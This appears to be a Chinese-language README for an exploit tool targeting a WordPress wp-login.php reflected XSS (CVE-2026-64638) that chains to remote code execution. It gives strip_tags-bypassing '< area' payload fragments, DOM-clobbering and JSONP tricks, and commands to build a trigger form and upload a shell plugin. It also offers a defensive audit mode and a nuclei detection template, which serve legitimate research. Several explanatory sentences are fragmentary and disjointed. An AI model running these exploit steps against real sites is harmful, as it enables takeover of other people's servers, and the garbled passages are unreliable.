XSS2Shell (CVE-2026-64638) WordPress 未认证 XSS 到 RCE 攻击链 — PoC 漏洞利用 + 防御审计工具 + nuclei 模板
CVE-2026-64638 · wp-login.php 上的反射型 XSS · CVSS 8.9 (v4.0) · 已在 WordPress 7.0.3 中修复
⚠️ 仅限授权测试。 本工具用于安全研究以及针对您拥有或已获得明确书面许可进行测试的系统开展授权渗透测试。在大多数司法管辖区,未经授权的使用均属违法。研究者(PWN.AI)于 2026-08-07 披露了此问题;WordPress 同日已在 7.0.3 中发布修复。
XSS2Shell 是一条影响 WordPress Core(可追溯至 4.7 的所有版本,约 5 亿多个站点)的预认证 XSS 到代码执行链。一次精心构造的失败登录尝试即可在 WordPress 源中运行攻击者 JavaScript;当目标是已登录的管理员时,该链会升级为完整的 RCE。
公开披露:https://pwn.ai/blog/xss2shell
wp-login.php 通过 sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...') 反射提交的用户名。< area id=test>(< 与标签名之间带空白)可绕过 PHP 的 strip_tags(),随后 WordPress 的 KSES 清理器会将其重新解析为一个活动的 DOM 元素。< area id=ajaxurl href=...>、< div id=color-picker class=reset-pass-submit>、
< button class="wp-generate-pw color-option">X。wp-pass.php 的委托点击处理器通过注入的按钮触发。守卫条件 user_id === new_user_id 被绕过(undefined === undefined —— 登录页上两个输入均不存在)。标识符 ajaxurl 通过 Window 对象上的 HTML 命名属性访问解析为注入的 <area>。href 发起 POST(/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1 —— JSONP 信封)。wp-content/plugins/<slug>/ 中的 PHP 无需激活即可通过 Web 访问)。# 1. Non-destructive check — does the target reflect the payload?
python3 xss2shell.py check https://example.com
# 2. DEFENSIVE AUDIT — WordPress hardening report (A-F score)
python3 xss2shell.py audit https://example.com
# Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
# sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
# security headers (CSP/HSTS/XFO), REST user enumeration.
# 3. Generate the trigger HTML form (XSS stage)
python3 xss2shell.py exploit --target example.com > trigger.html
# 4. RCE stage (lab only — needs admin application password)
python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
# 5. Emit the plugin zip without uploading
python3 xss2shell.py zip --out xss2shell-plugin.zip
需要:仅 Python 3.8+ 标准库 — 无第三方依赖。
$ python3 xss2shell.py audit https://target.example
================================================================
WORDPRESS SECURITY AUDIT (defensive mode)
Target: https://target.example
================================================================
[CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) VULNERABLE, 7.0.3+ required
[CRITICAL] wp-login.php XSS reflection PRESENT — CVE-2026-64638 active, update immediately!
[HIGH] Leak: /xmlrpc.php HTTP 405
[WARN] Header X-Frame-Options missing — clickjacking protection recommended
...
SECURITY SCORE: F (91 risk points) — Critical risk — act immediately!
trigger.html,将其提交(或通过 JS 自动提交)到目标登录页面 → XSS 在受害者浏览器中触发。authorize-application.php 生成一个应用程序密码。shell 上传插件 zip 包。/wp-content/plugins/xss2shell/xss2shell.php — {"rce":true,...}。附带一个可直接使用的 Nuclei 模板:nuclei-CVE-2026-64638.yaml
# Scan a single target
nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
# Scan a list of targets
nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
该模板通过两种 payload 变体检测解析器差异(在 wp-login.php 上反射的 < area 元素),并已在存在漏洞的版本(6.9.4)和已修补的版本(7.0.3+)上验证通过。
注意:一个功能完全相同的模板已通过 PR #16785 合并到上游的 nuclei-templates 中——此处保留的副本用于独立使用。
MIT 许可证——参见 LICENSE。
注意: 本 PoC 发布用于防御性研究和教育目的。仅可用于你拥有或已获授权测试的系统。